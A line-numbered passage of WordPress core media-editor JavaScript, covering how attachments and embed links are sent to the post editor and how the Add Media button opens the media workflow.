981 } else if ( 'audio' === attachment.type ) {
982 html = wp.media.string.audio( props, attachment );
983 } else {
984 html = wp.media.string.link( props );
985 options.post_title = props.title;
986 }
987
988 return wp.media.post( 'send-attachment-to-editor', {
989 nonce: wp.media.view.settings.nonce.sendToEditor,
990 attachment: options,
991 html: html,
992 post_id: wp.media.view.settings.post.id
993 });
994 },
995 /**
996 * Called when 'Insert From URL' source is not an image. Example: YouTube url.
997 *
998 * @param {Object} embed
999 * @return {Promise}
1000 */
1001 link: function( embed ) {
1002 return wp.media.post( 'send-link-to-editor', {
1003 nonce: wp.media.view.settings.nonce.sendToEditor,
1004 src: embed.linkUrl,
1005 link_text: embed.linkText,
1006 html: wp.media.string.link( embed ),
1007 post_id: wp.media.view.settings.post.id
1008 });
1009 }
1010 },
1011 /**
1012 * Open a workflow
1013 *
1014 * @param {string} [id=undefined] Optional. A slug used to identify the workflow.
1015 * @param {Object} [options={}]
1016 *
1017 * @this wp.media.editor
1018 *
1019 * @return {wp.media.view.MediaFrame}
1020 */
1021 open: function( id, options ) {
1022 var workflow;
1023
1024 options = options || {};
1025
1026 id = this.id( id );
1027 this.activeEditor = id;
1028
1029 workflow = this.get( id );
1030
1031 // Redo workflow if state has changed.
1032 if ( ! workflow || ( workflow.options && options.state !== workflow.options.state ) ) {
1033 workflow = this.add( id, options );
1034 }
1035
1036 wp.media.frame = workflow;
1037
1038 return workflow.open();
1039 },
1040
1041 /**
1042 * Bind click event for .insert-media using event delegation
1043 */
1044 init: function() {
1045 $(document.body)
1046 .on( 'click.add-media-button', '.insert-media', function( event ) {
1047 var elem = $( event.currentTarget ),
1048 editor = elem.data('editor'),
1049 options = {
1050 frame: 'post',
1051 state: 'insert',
1052 title: wp.media.view.l10n.addMedia,
1053 multiple: true
1054 };
1055
1056 event.preventDefault();
1057
1058 if ( elem.hasClass( 'gallery' ) ) {
1059 options.state = 'gallery';
1060 options.title = wp.media.view.l10n.createGalleryTitle;
1061 }
1062
1063 wp.media.editor.open( editor, options );
1064 });
1065
1066 // Initialize and render the Editor drag-and-drop uploader.
1067 new wp.media.view.EditorUploader().render();
1068 }
1069 };
1070
1071 _.bindAll( wp.media.editor, 'open' );
1072 $( wp.media.editor.init );
1073}(jQuery, _));
1074